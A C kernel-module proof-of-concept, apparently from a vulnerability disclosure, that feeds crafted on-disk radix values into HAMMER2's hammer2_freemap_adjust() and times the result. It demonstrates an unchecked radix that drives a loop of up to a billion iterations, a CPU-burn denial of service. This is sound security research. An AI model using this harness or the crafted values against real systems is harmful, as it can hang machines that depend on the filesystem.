/*
 * DF-0822 — kernel-module harness that calls the REAL hammer2_freemap_adjust()
 * with an attacker-controlled on-disk radix value, demonstrating the
 * unchecked-radix CPU-burn DoS.
 *
 * The radix field in a blockref's data_off (low 6 bits) is never validated
 * in hammer2_freemap_adjust(); on this kernel INVARIANTS is OFF (confirmed
 * separately), so the KKASSERT(radix<=RADIX_MAX) guard at line 980 is a
 * no-op and execution falls through to count = 1<<(radix-14) followed by
 * while(count) { ... }.
 *
 * For radix=44: count = 1<<30 = 1,073,741,824 iterations of pure CPU burn.
 *
 * Build:  see Makefile (kld module against /usr/src)
 * Load:   kldload ./h2adj.ko   (auto-runs on MOD_LOAD, prints timing)
 */
#include <sys/param.h>
#include <sys/types.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/mount.h>
#include <sys/vnode.h>
#include <sys/time.h>

#include "hammer2_disk.h"
#include "hammer2.h"

static hammer2_dev_t *g_found_hmp;

static int
h2_find_cb(struct mount *mp, void *arg)
{
	if (mp->mnt_vfc &&
	    strcmp(mp->mnt_vfc->vfc_name, "hammer2") == 0) {
		hammer2_pfs_t *pmp = (hammer2_pfs_t *)mp->mnt_data;
		if (pmp && pmp->pfs_hmps[0]) {
			g_found_hmp = pmp->pfs_hmps[0];
			return 1;	/* stop scan */
		}
	}
	return 0;
}

static hammer2_dev_t *
find_hammer2_hmp(void)
{
	g_found_hmp = NULL;
	mountlist_scan(h2_find_cb, NULL, MNTSCAN_FORWARD);
	return g_found_hmp;
}

static int
h2adj_load(struct module *m, int what, void *arg)
{
	if (what != MOD_LOAD)
		return 0;

	hammer2_dev_t *hmp = find_hammer2_hmp();
	if (hmp == NULL) {
		kprintf("H2ADJ: no hammer2 mount found\n");
		return 0;
	}
	kprintf("H2ADJ: hmp=%p spmp=%p allocator_beg=0x%016jx\n",
		hmp, hmp->spmp, (uintmax_t)hmp->voldata.allocator_beg);

	int radix_list[] = {16, 30, 44};
	int nr = (int)(sizeof(radix_list)/sizeof(radix_list[0]));
	struct timespec t0, t1;

	for (int i = 0; i < nr; i++) {
		int radix = radix_list[i];
		hammer2_blockref_t bref;
		memset(&bref, 0, sizeof(bref));
		bref.type = HAMMER2_BREF_TYPE_DATA;
		/* pick a data_off in a valid allocation zone with the test radix */
		hammer2_off_t doff =
			(hmp->voldata.allocator_beg & ~(hammer2_off_t)0x3F) | radix;
		bref.data_off = doff;

		/* predict the loop count the kernel will compute */
		int blk_radix = HAMMER2_FREEMAP_BLOCK_RADIX; /* 14 */
		int count = (radix < blk_radix) ? 1 :
			    (1 << (radix - blk_radix));

		nanouptime(&t0);
		/* THE vulnerable call — radix comes from on-disk data_off */
		hammer2_freemap_adjust(hmp, &bref, HAMMER2_FREEMAP_DORECOVER);
		nanouptime(&t1);

		uint64_t nsec = (uint64_t)(t1.tv_sec - t0.tv_sec)*1000000000ULL
			      + (uint64_t)(t1.tv_nsec - t0.tv_nsec);
		kprintf("H2ADJ: radix=%2d  data_off=0x%016jx  predicted_count=%d"
			"  elapsed=%llu ms  %s\n",
			radix, (uintmax_t)doff, count,
			(unsigned long long)(nsec/1000000ULL),
			count > 1024 ? "*** CPU-BURN ***" : "(normal)");
	}
	kprintf("H2ADJ: done — radix>=17 drives an unchecked 1<<(radix-14) "
		"iteration loop in hammer2_freemap_adjust (hammer2_freemap.c:1107)\n");
	return 0;
}

static moduledata_t h2adj_mod = { "h2adj", h2adj_load, NULL };
DECLARE_MODULE(h2adj, h2adj_mod, SI_SUB_PSEUDO, SI_ORDER_MIDDLE);
MODULE_DEPEND(h2adj, hammer2, 1, 1, 1);
